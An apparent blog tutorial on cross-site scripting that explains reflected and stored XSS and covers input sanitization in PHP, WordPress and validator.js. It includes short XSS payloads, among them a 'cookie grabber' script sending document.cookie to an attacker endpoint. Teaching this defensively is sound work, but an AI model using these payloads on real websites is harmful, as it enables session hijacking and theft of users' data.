Cross Site Scripting – XSS Injections

XSS aka cross site scripting is a pretty common type of attack which has affect millions and is continuing to affect thousands. The simple idea of running your own code on a unexpecting user is a pretty neat attack. This attack generally comes in a form of either a browser-side script or a vulnerable website which can lead to users running malicious scripts which can be used to do quite a number of things. The problem with this attack is that your browser wouldn’t have a clue whatever the script is trusted or not, and in the end, will run the script. Due to the fact that the browser assumes the script came from a trusted source, the attacker pretty much have access to everything.

Crosssite scripting (XSS) is a type of security vulnerability typically found in web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A crosssite scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy.

Wikipedia

Potential Damages

As we mentioned before, the browser does not really have a way to detect if the script is malicious or not, therefore, the script does have the freedom to do anything it like. Here are some of the common ways attackers use the script

Cookie Stealing

We won’t dive too much into what a cookie is, but in layman term, you can assume that it’s basically storage which is meant for the sites you visit to store data. These can be saving the settings you used for the website, dark mode, or light mode for example, or to other things such as your preferred language or location. Cookies in itself aren’t harmful, it just makes life easier as it allows you to go back to your browsing session, however, an attacker can hijack cookies to allow themselves access to your browsing sessions.

Content Rewriting

This is a pretty neat benefit for attackers. They can rewrite content on a website. Since this attack allows users to run their own script within the website itself, they can modify parts of the website to their liking. They can re-direct you to a different website, show you a different article, or show you a different donation page. There are many things an attacker can use this to their advantage.

Types of Attack

Reflected XSS

Reflected XSS attacks aka non-persistent attacks are one of the simplest types of attacks. The script is simply written in the URL to a website that does not process or sanitize the data received. Websites vulnerable to this attack then runs the script given through the URL parameter. Therefore the script is embedded into the website’s URL. This requires users to click on the infected link and is usually widespread through email or other similar types of mediums. Furthermore, anyone who pays attention to URL’s they are clicking can avoid these attacks pretty easily. Since people do notice these attacks, it’s usually done massively, sending thousands if not millions of emails or other mediums.

http://vul-website.com?q=<script type=”text/javascript”>alert(‘hijacked’);</script>

An example of an attack towards a website which is vulnerable to a reflected XSS attack

Stored XSS

Stored XSS attacks are, unlike reflected XSS, persistent. These are usually the ones which causes a lot of damages since it’s almost impossible to detect before it’s too late. The reason why this is persistent is due to the fact that the script is stored in the web server itself. Let’s say, a website allowed people to post comments on their site and let’s say they didn’t cleanse the data. You could easily post a comment with a script tag and insert malicious code, now people who visit the comment would run the script as well.

<script>alert(‘hijacked’);</script>

An example of a comment an attack could post on a website which is vulnerable to this attack

Attack Examples

Cookie Grabber

The most simple form of script which basically retrieves your site’s cookies and redirects it to the attacker. This does require the attacker to have their own webserver which would process the incoming stolen cookies and store them.

<script>
document.location='/cookiemonster.php?c='+document.cookie;
</script>

Alternatives

Of course you don’t necessary have to use the script tag to run your script. You can load your script in events, such as when the body loads

<body onload=alert(‘hijacked’)>;

When the user hovers over something

<b onmouseover=alert(‘hijacked‘)>HOVER OVER ME</b>

Prevention

There are so many websites which are vulnerable to XSS that even Facebook, Google, Twitter and other huge companies still have fall victim to this. As an XSS attack allows the attacker to do anything the victim can do, viewing passwords, payment information and so on, most of the time, the user has no idea they are being attacked. XSS vulnerabilities are pretty difficult to prevent, since there are so many ways to be vulnerable to this attack, unlike other injections such as SQL injection, XSS only affects the user.

Escaping / Validating Input

This is a pretty common method of avoiding anything potentially unwanted. Escaping user inputs will prevent the user or attacker from inputting anything that may be use to harm the website or users. You are basically censoring the data by removing and disallowing characters such as < and > from ever being rendered and so on. This is a pretty basic way of prevention, however most do overlook this. To be even more safe. if your website doesn’t allow any form of inputs to add their own codes, it would be a good practice to escape any and all HTML, URL and JS.

There are many ways of doing this, making good use of is_numeric(), preg_match(), filter_var() or even in_array() can come a long way to make sure user entered data valid. Here are some examples of ways you can make sure of

PHP

Sanitizing Numbers
intval(‘123AA456’) -> 123

Sanitizing Emails
filter_var(‘example<script>@example.com’, FILTER_SANITIZE_EMAIL) -> [email protected]

Encoding Special Characters
filter_var(‘Testing <tags> & chars.’, FILTER_SANITIZE_SPECIAL_CHARS) -> Testing <tags> & chars.

Removing Tags
filter_var(‘Strip <tag> & encode.’, FILTER_SANITIZE_STRING); -> Strip & encode.

WordPress API

Sanitizing Positive Integers
absint(‘-123ABC’) -> 123

Sanitizing Emails
sanitize_email(“!#$%^&*()__+=-{}|][:”’;<>?/.,[email protected]”) -> !#$%^&*__+=-{}|’?/[email protected]

Sanitizing Filenames
sanitize_file_name(‘.-_/path/to/file–name.txt’); -> pathtofile-name.txt

Sanitizing CSS Classes Names
sanitize_html_class(‘[email protected]#$%^&*()-name_here.’); -> class-name_here

Sanitizing All Tags, Line Breaks, Tabs, Extra White Spaces
sanitize_text_field(‘<tag>some text</tag>’) -> some text

Sanitizing Slugs
sanitize_title(‘<tag><?php //blah ?>Title here’); -> title-here

Other Functions
sanitize_email()
sanitize_file_name()
sanitize_html_class()
sanitize_key()
sanitize_meta()
sanitize_mime_type()
sanitize_option()
sanitize_sql_orderby()
sanitize_text_field()
sanitize_textarea_field()
sanitize_title()
sanitize_title_for_query()
sanitize_title_with_dashes()
sanitize_user()

JavaScript

We will be using validator.js and yup so make sure you have that installed before trying to use the functions below. It’s not recommended to do your validation and checks in the client side, so only use this as a extra layer rather than your whole prevention system

import validator from 'validator';

Checking for a valid email
validator.isEmail([email protected])

Escaping Tags
validator.escape("<tag> hacked </tag>");

Leave a Reply